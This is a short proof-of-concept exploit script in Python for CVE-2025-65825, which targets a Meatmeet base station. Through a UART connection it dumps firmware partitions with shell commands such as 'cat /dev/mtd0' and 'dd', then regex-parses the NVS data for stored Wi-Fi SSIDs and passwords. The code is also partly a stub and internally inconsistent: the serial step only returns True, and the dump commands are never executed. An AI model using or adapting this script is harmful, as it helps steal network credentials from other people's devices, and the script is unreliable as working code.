CVE-2025-65825 Meatmeet基站固件未加密导致Wi-Fi凭据泄露

# CVE-2025-65825 PoC - Meatmeet固件提取与Wi-Fi凭据获取 # Hardware Required: USB to TTL Serial Adapter, Jumper Wires # Software Required: minicom/putty, esptool, NVS partition parser import subprocess import re def connect_uart(): """Connect to device UART interface""" # UART connection parameters for Meatmeet device port = '/dev/ttyUSB0' # Adjust to your serial port baudrate = 115200 print(f'[*] Connecting to UART on {port} at {baudrate} baud') # Example: minicom -D /dev/ttyUSB0 -b 115200 return True def extract_firmware(): """Extract firmware dump via UART debug interface""" print('[*] Attempting to dump firmware via UART...') # Step 1: Access bootloader commands = [ 'cat /dev/mtd0', # Read full MTD0 partition (bootloader + firmware) 'dd if=/dev/mtdblock0 of=/tmp/firmware.bin', # Alternative method 'cat /dev/mtdblock1 > /tmp/nvs.bin' # Extract NVS partition specifically ] # Execute via serial connection print('[*] Firmware extraction commands ready') return '/tmp/firmware.bin' def parse_nvs_partition(firmware_path): """Parse NVS partition to extract Wi-Fi credentials""" print(f'[*] Parsing NVS partition from {firmware_path}') nvs_data = open(firmware_path, 'rb').read() # NVS key-value structure parsing wifi_creds = [] # Search for Wi-Fi related patterns ssid_pattern = rb'SSID.*?(.{1,32})' psk_pattern = rb'PSK.*?(.{8,63})' # Extract current Wi-Fi credentials current_ssid = re.findall(ssid_pattern, nvs_data) current_psk = re.findall(psk_pattern, nvs_data) if current_ssid and current_psk: wifi_creds.append({ 'type': 'current', 'ssid': current_ssid[0].decode('utf-8', errors='ignore'), 'psk': current_psk[0].decode('utf-8', errors='ignore') }) # Extract historical Wi-Fi credentials (stored in NVS namespace) print('[*] Searching for historical Wi-Fi credentials...') # Historical networks typically stored with namespace prefix return wifi_creds def main(): print('='*60) print('CVE-2025-65825 PoC - Meatmeet Firmware Extraction') print('='*60) # Step 1: Physical access - connect UART if connect_uart(): print('[+] UART connection established') # Step 2: Extract firmware firmware_path = extract_firmware() print(f'[+] Firmware extracted to {firmware_path}') # Step 3: Parse NVS for Wi-Fi credentials credentials = parse_nvs_partition(firmware_path) for cred in credentials: print(f"[+] Found Wi-Fi: SSID={cred['ssid']}, PSK={cred['psk']}") print('[*] Attack completed - credentials extracted') if __name__ == '__main__': main()